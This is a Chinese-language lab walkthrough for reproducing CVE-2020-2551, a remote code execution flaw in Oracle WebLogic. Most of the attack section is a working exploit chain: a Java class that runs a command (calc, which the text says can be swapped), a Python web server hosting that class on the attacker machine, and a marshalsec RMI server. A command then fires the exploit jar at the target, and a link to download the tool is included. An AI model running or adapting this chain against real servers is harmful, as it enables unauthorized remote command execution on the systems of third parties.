漏洞简介

          2020 年 1月14日，Oracle 发布了大量安全补丁，修复了 43 个严重漏洞，CVSS 评分均在在9.1以上。
其中 CVE-2020-2551 漏洞，互联网中公布了几篇针对该漏洞的分析文章以及POC，但公布的 POC 有部分不足之处，导致漏洞检测效率变低，不足之处主要体现在：

1. 公布的 POC 代码只针对直连（内网）网络有效，Docker、NAT 网络全部无效。
2. 公布的 POC 代码只支持单独一个版本，无法适应多个 weblogic 版本

漏洞复现

环境搭建

所有的测试环境都是基于java环境下

目标机器（weblogic）：192.168.1.10

攻击机器：192.168.1.20

访问weblogic看看是否能访问

漏洞利用

工具百度网盘链接：https://pan.baidu.com/s/1GMTS2TEX7BUlBHSideu7-w 
提取码：biut

可以通过修改下边这个exp.java文件来更换执行命令；

import java.io.IOException;public class exp {static{try {java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args) {}
}

输入以下命令进行编译exp.java成exp.class;(工具包里面已经编译好了)

javac exp.java -source 1.7 -target 1.7

成功编译生成class文件

开启一个web服务(需要用到python)，需要与exp.class在同一文件夹。

python -m SimpleHTTPServer 80
python3 -m http.server 80

开启成功

用marshalsec开启一个恶意的RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.20/#exp" 1099

服务启动成功

开始攻击，成功弹出calc(计算器)

java -jar weblogic_CVE_2020_2551.jar 192.168.1.10 7001 rmi://192.168.1.20:1099/exp

遇到的问题

     一开始用公网ip进行复现，发现无法复现成功；在网上查了一下发现是IIOP存在nat模式的问题。详情请去看大佬的文章https://xz.aliyun.com/t/7498